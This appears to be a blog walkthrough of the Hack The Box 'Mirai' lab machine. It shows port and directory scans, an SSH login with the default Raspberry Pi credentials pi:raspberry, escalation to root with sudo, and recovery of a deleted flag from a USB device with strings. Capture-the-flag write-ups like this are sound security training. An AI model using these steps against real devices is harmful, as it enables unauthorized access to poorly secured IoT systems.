Hackthebox Mirai Walkthrough

Hackthebox Mirai Walkthrough

Mirai demonstrates one of the fastest-growing attack vectors in modern times; improperly configured IoT devices. This attack vector is constantly on the rise as more and more IoT devices are being created and deployed around the globe, and is actively being exploited by a wide variety of botnets. Internal IoT devices are also being used for long-term persistence by malicious actors.

# Enumeration

• let’s start with Nmap Scan

┌──(kali㉿kali)-[/media/…/Nothing/desktop/HTB/Mirai]
└─$ nmap -sC -sV -p- 10.129.51.37 --min-rate=5000 -oN mirai.nmap 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 09:07 EDT
Warning: 10.129.51.37 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.51.37
Host is up (0.26s latency).
Not shown: 63710 closed tcp ports (reset), 1819 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1845/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
|_http-title: Unauthorized
|_http-favicon: Plex
|_http-cors: GET POST PUT DELETE OPTIONS
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

• there is multiple open ports and all of them are not useful to us ..
• On port 80 there is nothing just a blank page

Hackthebox Mirai Walkthrough

• but at port 32400 , there is plex media server and there is login page but i dont have credentials so i do register first …

Hackthebox Mirai Walkthrough

• after logged in the plex media server dashboard page ..

Hackthebox Mirai Walkthrough

• on the setting tab , there is a version info too about the plex media server …

Hackthebox Mirai Walkthrough

• and didn’t find anything useful about this on the internet …
• so i go back and tried to do directory fuzzing and able to get some interesting directories using feroxbuster…

┌──(kali㉿kali)-[/media/…/Nothing/desktop/HTB/Mirai]
└─$ feroxbuster --url http://10.129.51.37:80/   

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.51.37:80/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[>-------------------] - 18s     6046/150000  9m      found:0       errors:1      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_129_51_37:80_-1759239336.state ...
[>-------------------] - 18s     6180/150000  9m      found:0       errors:1      
[#>------------------] - 18s     2117/30000   117/s   http://10.129.51.37:80/ 
[>-------------------] - 17s     1091/30000   65/s    http://10.129.51.37/admin/ 
[>-------------------] - 9s       924/30000   102/s   http://10.129.51.37/admin/scripts/ 
[>-------------------] - 9s      1042/30000   117/s   http://10.129.51.37/admin/img/ 
[>-------------------] - 6s       971/30000   172/s   http://10.129.51.37/admin/style/    

• on the /admin directory there is another website named Pi-hole and there is login page too ..

Hackthebox Mirai Walkthrough

• i searched on the google for the default credentials and got one …

Hackthebox Mirai Walkthrough

pi:raspberry

• as soon i get the creds i did the ssh before login-in the website and got success … get-up ending shell as pi user

┌──(kali㉿kali)-[/media/…/Nothing/desktop/HTB/Mirai]
└─$ ssh pi@10.129.51.37          
The authenticity of host '10.129.51.37 (10.129.51.37)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.51.37' (ED25519) to the list of known hosts.
pi@10.129.51.37's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ pwd
/home/pi
pi@raspberrypi:~ $ ls
background.jpg  Desktop  Documents  Downloads  Music  oldconffiles  Pictures  Public  python_games  Templates  Videos
pi@raspberrypi:~ $ cd Desktop
pi@raspberrypi:~/Desktop $ ls
Plex  user.txt
pi@raspberrypi:~/Desktop $ cat user.txt
ff837707441b257a20e32199d7c8838d
pi@raspberrypi:~/Desktop $ 

• getting root is more easy than the initial access itself , as i did the sudo su and end-up getting the root shell ( pretty straight forward ) …

pi@raspberrypi:~/Desktop $ sudo su
root@raspberrypi:/home/pi/Desktop# cd /root
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:~# 

• but there is no flag in the root.txt its says its on the USB stick ..
• so i list the attacked drives to the system ..

root@raspberrypi:/media# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk 
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom  
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

• and on the /media/usbstick , i found another file saying

Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

• so i just do the strings command on while usbstick

root@raspberrypi:/media# string /dev/sb
bash: string: command not found
root@raspberrypi:/media# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b

There flags are of no use , as the rotate everytime machine restarts . So , don’t try to copy paste these flag they don’t work .

# Final Thoughts

I hope this blog continues to be helpful in your learning journey! do clap 👏 and Follow . If you find this blog helpful, I’d love to hear your thoughts — my inbox is always open for feedback. Please excuse any typos, and feel free to point them out so I can correct them. Thanks for understanding and happy learning!. You can contact me on Linkedin and Twitter . Social Links : linkdin , Twitter

Hackthebox Mirai Walkthrough